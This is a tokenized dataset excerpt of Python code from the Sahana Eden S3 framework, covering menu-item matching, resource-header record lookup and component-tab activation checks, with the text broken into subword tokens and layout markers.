"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"check_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Hook",
" ",
"fail",
"ed",
" ",
"or",
" ",
"disable",
"d",
":",
" ",
"doe",
"sn",
"'",
"t",
" ",
"match",
" ",
"in",
" ",
"any",
" ",
"case_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"request_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"request_",
"=_",
"current_",
"._",
"request_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"c_",
"=_",
"self_",
"._",
"get_",
"(_",
"\"",
"controlle",
"r",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mc_",
"=_",
"self_",
"._",
"get_",
"(_",
"\"",
"match",
"\\u",
"controlle",
"r",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Top",
"-",
"level",
" ",
"items",
" ",
"with",
" ",
"no",
" ",
"controlle",
"r",
" ",
"setting_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"=",
"applica",
"tion",
" ",
"level",
" ",
"items",
")",
" ",
"match",
" ",
"any",
" ",
"controlle",
"r",
",",
" ",
"but",
" ",
"not",
" ",
"more_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"c_",
"and_",
"self_",
"._",
"parent_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"rva",
"rs_",
"=_",
"request_",
"._",
"get",
"\\u",
"vars_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"controller_",
"=_",
"request_",
"._",
"controller_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"function_",
"=_",
"request_",
"._",
"function_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Handle",
" ",
"\"",
"viewin",
"g",
"\"",
" ",
"(",
"foreign",
" ",
"controlle",
"r",
" ",
"in",
" ",
"a",
" ",
"tab",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"NOTE",
":",
" ",
"this",
" ",
"trie",
"s",
" ",
"to",
" ",
"match",
" ",
"the",
" ",
"item",
" ",
"against",
" ",
"the",
" ",
"resource",
" ",
"name_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"in",
" ",
"\"",
"viewin",
"g",
"\",",
" ",
"so",
" ",
"if",
" ",
"the",
" ",
"target",
" ",
"controlle",
"r",
"/",
"function",
" ",
"of",
" ",
"the",
" ",
"item_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"are",
" ",
"different",
" ",
"from",
" ",
"prefix",
"/",
"name",
" ",
"in",
" ",
"the",
" ",
"resource",
" ",
"name",
",",
" ",
"then",
" ",
"this_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"may",
" ",
"require",
" ",
"addition",
"al",
" ",
"match",
"\\u",
"controlle",
"r",
"/",
"match",
"\\u",
"function",
" ",
"to",
" ",
"be_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"set",
" ",
"for",
" ",
"this",
" ",
"item",
"!",
" ",
"(",
"be",
"ware",
" ",
"ambi",
"guit",
"y",
" ",
"then",
",",
" ",
"tho",
"ugh",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"\"",
"viewin",
"g",
"\"_",
"in_",
"rva",
"rs_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tn_",
",_",
"record",
"\\u",
"id_",
"=_",
"rva",
"rs_",
"[_",
"\"",
"viewin",
"g",
"\"_",
"]_",
"._",
"split_",
"(_",
"\".\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"controller_",
",_",
"function_",
"=_",
"tn_",
"._",
"split_",
"(_",
"\"\\u\"_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Controller_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"controller_",
"==_",
"c_",
"or_",
"controller_",
"in_",
"mc_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"level_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Function_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"level_",
"==_",
"1_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"f_",
"=_",
"self_",
"._",
"get_",
"(_",
"\"",
"function",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mf_",
"=_",
"self_",
"._",
"get_",
"(_",
"\"",
"match",
"\\u",
"function",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"function_",
"==_",
"f_",
"or_",
"function_",
"in_",
"mf_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"level_",
"=_",
"2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"f_",
"==_",
"\"",
"index",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"\"",
"weak",
"\"",
" ",
"match",
":",
" ",
"home",
"page",
" ",
"link",
" ",
"matche",
"s",
" ",
"any",
" ",
"function_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"f_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Arg",
"s",
" ",
"and",
" ",
"vars_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Match",
" ",
"level",
"s",
" ",
"(",
"=",
"order",
" ",
"of",
" ",
"preference",
"):",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"0",
" ",
"=",
" ",
"args",
" ",
"mismatch_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"1",
" ",
"=",
" ",
"last",
" ",
"arg",
" ",
"mism",
"atch",
" ",
"(",
"numeri",
"c",
" ",
"inst",
"ead",
" ",
"of",
" ",
"method",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"2",
" ",
"=",
" ",
"no",
" ",
"args",
" ",
"in",
" ",
"item",
" ",
"and",
" ",
"vars",
" ",
"mismatch_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"3",
" ",
"=",
" ",
"no",
" ",
"args",
" ",
"and",
" ",
"no",
" ",
"vars",
" ",
"in",
" ",
"item_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"4",
" ",
"=",
" ",
"no",
" ",
"args",
" ",
"in",
" ",
"item",
" ",
"but",
" ",
"vars",
" ",
"match_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"5",
" ",
"=",
" ",
"args",
" ",
"match",
" ",
"but",
" ",
"vars",
" ",
"mismatch_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"6",
" ",
"=",
" ",
"args",
" ",
"match",
" ",
"and",
" ",
"no",
" ",
"vars",
" ",
"in",
" ",
"item_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"7",
" ",
"=",
" ",
"args",
" ",
"match",
" ",
"and",
" ",
"vars",
" ",
"match_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"level_",
"==_",
"2_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"extra_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"k_",
",_",
"v_",
"in_",
"link",
"\\u",
"vars_",
"._",
"iteritems_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"k_",
"not_",
"in_",
"rva",
"rs_",
"or_",
"k_",
"in_",
"rva",
"rs_",
"and_",
"rva",
"rs_",
"[_",
"k_",
"]_",
"!=_",
"s3",
"\\u",
"unicode_",
"(_",
"v_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"extra_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"extra_",
"=_",
"2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"rar",
"gs_",
"=_",
"request_",
"._",
"args_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"rar",
"gs_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"args_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"lar",
"gs_",
"=_",
"[_",
"a_",
"for_",
"a_",
"in_",
"request_",
"._",
"args_",
"if_",
"not_",
"a_",
"._",
"isdigit_",
"(_",
")_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"len_",
"(_",
"args_",
")_",
"==_",
"len_",
"(_",
"lar",
"gs_",
")_",
"and_",
"all_",
"(_",
"[_",
"args_",
"[_",
"i_",
"]_",
"==_",
"lar",
"gs_",
"[_",
"i_",
"]_",
"for_",
"i_",
"in_",
"xrange_",
"(_",
"len_",
"(_",
"args_",
")_",
")_",
"]_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"level_",
"=_",
"5_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"if_",
"len_",
"(_",
"rar",
"gs_",
")_",
">=_",
"len_",
"(_",
"args_",
")_",
">_",
"0_",
"and_",
"rar",
"gs_",
"[_",
"len_",
"(_",
"args_",
")_",
"-_",
"1_",
"]_",
"._",
"isdigit_",
"(_",
")_",
"and_",
"not_",
"str_",
"(_",
"args_",
"[_",
"-_",
"1_",
"]_",
")_",
"._",
"isdigit_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"level_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"return_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"level_",
"=_",
"3_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"args_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"level_",
"=_",
"5_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"level_",
"+=_",
"extra_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"level_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"s3",
"\\u",
"rhea",
"der",
"\\u",
"resource_",
"(_",
"r_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Identif",
"y",
" ",
"the",
" ",
"tablename",
" ",
"and",
" ",
"record",
" ",
"ID",
" ",
"for",
" ",
"the",
" ",
"rhea",
"der",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"param",
" ",
"r",
":",
" ",
"the",
" ",
"current",
" ",
"S",
"3",
"Request",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u",
"vars_",
"=_",
"r_",
"._",
"get",
"\\u",
"vars_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"\"",
"viewin",
"g",
"\"_",
"in_",
"\\u",
"vars_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tablename_",
",_",
"record",
"\\u",
"id_",
"=_",
"\\u",
"vars_",
"._",
"viewin",
"g_",
"._",
"rsplit_",
"(_",
"\".\"_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"db_",
"=_",
"current_",
"._",
"db_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"record_",
"=_",
"db_",
"[_",
"tablename_",
"]_",
"[_",
"record",
"\\u",
"id_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tablename_",
"=_",
"r_",
"._",
"tablename_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"record_",
"=_",
"r_",
"._",
"record_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tablename_",
"=_",
"r_",
"._",
"tablename_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"record_",
"=_",
"r_",
"._",
"record_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"(_",
"tablename_",
",_",
"record_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"S",
"3",
"Compo",
"nent",
"Tab_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"active_",
"(_",
"self_",
",_",
"r_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Check",
" ",
"whe",
"ther",
" ",
"the",
" ",
"this",
" ",
"tab",
" ",
"is",
" ",
"active",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"param",
" ",
"r",
":",
" ",
"the",
" ",
"S",
"3",
"Request",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"s3db_",
"=_",
"current_",
"._",
"s3db_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"get",
"\\u",
"components_",
"=_",
"s3db_",
"._",
"get",
"\\u",
"components_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"get",
"\\u",
"method_",
"=_",
"s3db_",
"._",
"get",
"\\u",
"method_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"get",
"\\u",
"vars_",
"=_",
"r_",
"._",
"get",
"\\u",
"vars_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tablename_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"\"",
"viewin",
"g",
"\"_",
"in_",
"get",
"\\u",
"vars_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tablename_",
"=_",
"get",
"\\u",
"vars_",
"[_",
"\"",
"viewin",
"g",
"\"_",
"]_",
"._",
"split_",
"(_",
"\".\"_",
",_",
"1_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"resource_",
"=_",
"r_",
"._",
"resource_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"component_",
"=_",
"self_",
"._",
"component_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"component_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"clist",
"_",
"=_",
"get",
"\\u",
"components_",
"(_",
"resource_",
"._",
"table_",
",_",
"names_",
"=_",
"[_",
"component_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"is",
"\\u",
"component_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"component_",
"in_",
"clist",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"is",
"\\u",
"component_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"tablename_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"clist",
"_",
"=_",
"get",
"\\u",
"components_",
"(_",
"tablename_",
",_",
"names_",
"=_",
"[_",
"component_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"component_",
"in_",
"clist",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"is",
"\\u",
"component_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"is",
"\\u",
"component_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"authori",
"sed_",
"(_",
"clist",
"_",
"[_",
"component_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"handler_",
"=_",
"get",
"\\u",
"method_",
"(_",
"resource_",
"._",
"prefix_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"resource_",
"._",
"name_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"method_",
"=_",
"component_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"handler_",
"is_",
"None_",
"and_",
"tablename_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"prefix_",
",_",
"name_",
"=_",
"tablename_",
"._",
"split_",
"(_",
"\"\\u\"_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"handler_",
"=_",
"get",
"\\u",
"method_",
"(_",
"prefix_",
",_",
"name_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"method_",
"=_",
"component_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"handler_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"handler_",
"=_",
"r_",
"._",
"get",
"\\u",
"handler_",
"(_",
"component_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"handler_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"component_",
"in_",
"(_",
"\"",
"create",
"\"_",
",_",
"\"",
"read",
"\"_",
",_",
"\"",
"update",
"\"_",
",_",
"\"",
"delete",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"S",
"3",
"Reso",
"urc",
"e",
"Header_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"call\\u\\u_",
"(_",
"self_",
",_",
"r_",
",_",
"tabs_",
"=_",
"None_",
",_",
"table_",
"=_",
"None_",
",_",
"record_",
"=_",
"None_",
",_",
"as",
"\\u",
"div_",
"=_",
"True_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
" ",
"the",
" ",
"HTM",
"L",
" ",
"represent",
"ation",
" ",
"of",
" ",
"this",
" ",
"rhea",
"der",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"param",
" ",
"r",
":",
" ",
"the",
" ",
"S",
"3",
"Request",
" ",
"instance",
" ",
"to",
" ",
"render",
" ",
"the",
" ",
"header",
" ",
"for",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"param",
" ",
"tabs",
":",
" ",
"the",
" ",
"tabs",
" ",
"(",
"override",
"s",
" ",
"the",
" ",
"original",
" ",
"tabs",
" ",
"definit",
"ion",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"param",
" ",
"table",
":",
" ",
"override",
" ",
"r",
".",
"table",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"param",
" ",
"record",
":",
" ",
"override",
" ",
"r",
".",
"record",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"param",
" ",
"as",
"\\u",
"div",
":",
" ",
"Tru",
"e",
":",
" ",
"will",
" ",
"return",
" ",
"the",
" ",
"rhea",
"der",
"\\u",
"fields",
" ",
"and",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
"rhea",
"der",
"\\u",
"tabs",
" ",
"tog",
"ether",
" ",
"as",
" ",
"a",
" ",
"DIV",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
"Fal",
"se",
" ",
"will",
" ",
"return",
" ",
"the",
" ",
"rhea",
"der",
"\\u",
"fields",
" ",
"and",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
"rhea",
"der",
"\\u",
"tabs",
" ",
"as",
" ",
"a",
" ",
"tuple",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
" ",
"(",
"rhea",
"der",
"\\u",
"fields",
",",
" ",
"rhea",
"der",
"\\u",
"tabs",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"table_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"table_",
"=_",
"r_",
"._",
"table_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"record_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"record_",
"=_",
"r_",
"._",
"record_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"tabs_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"tabs_",
"=_",
"self_",
"._",
"tabs_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"fields_",
"is_",
"None_",
"and_",
"\"",
"name",
"\"_",
"in_",
"table_",
"._",
"fields_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"fields_",
"=_",
"[_",
"[_",
"\"",
"name",
"\"_",
"]_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"fields_",
"=_",
"self_",
"._",
"fields_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"record_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
